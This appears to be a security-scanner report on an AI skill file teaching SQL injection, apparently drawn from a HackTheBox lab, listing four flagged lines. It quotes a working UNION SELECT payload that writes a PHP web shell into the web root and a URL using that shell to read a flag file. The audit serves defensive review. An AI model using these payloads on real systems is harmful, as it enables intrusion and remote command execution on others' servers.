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Sql injections fundamentals:

Teaches the fundamentals of SQL injection vulnerabilities and exploitation techniques for web application security assessments.

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82/100

Security score

The Sql injections fundamentals: skill was audited on Feb 28, 2026 and we found 4 security issues across 2 threat categories, including 1 high-severity. Review the findings below before installing.

Categories Tested

Security Issues

high line 23

System command execution

SourceSKILL.md
23' UNION SELECT 1, 2, '<?php system($_REQUEST[0]); ?>', 4, 5 INTO OUTFILE '/var/www/html/dashboard/shell.php'-- -
low line 11

External URL reference

SourceSKILL.md
11[08:02:01] 301 - 327B - /dashboard -> http://83.136.252.13:52940/dashboard/
low line 28

External URL reference

SourceSKILL.md
28http://83.136.252.13:52940/dashboard/shell.php?0=cat%20/flag_cae1dadcd174.txt
low line 31

External URL reference

SourceSKILL.md
31https://academy.hackthebox.com/achievement/349590/33
Scanned on Feb 28, 2026
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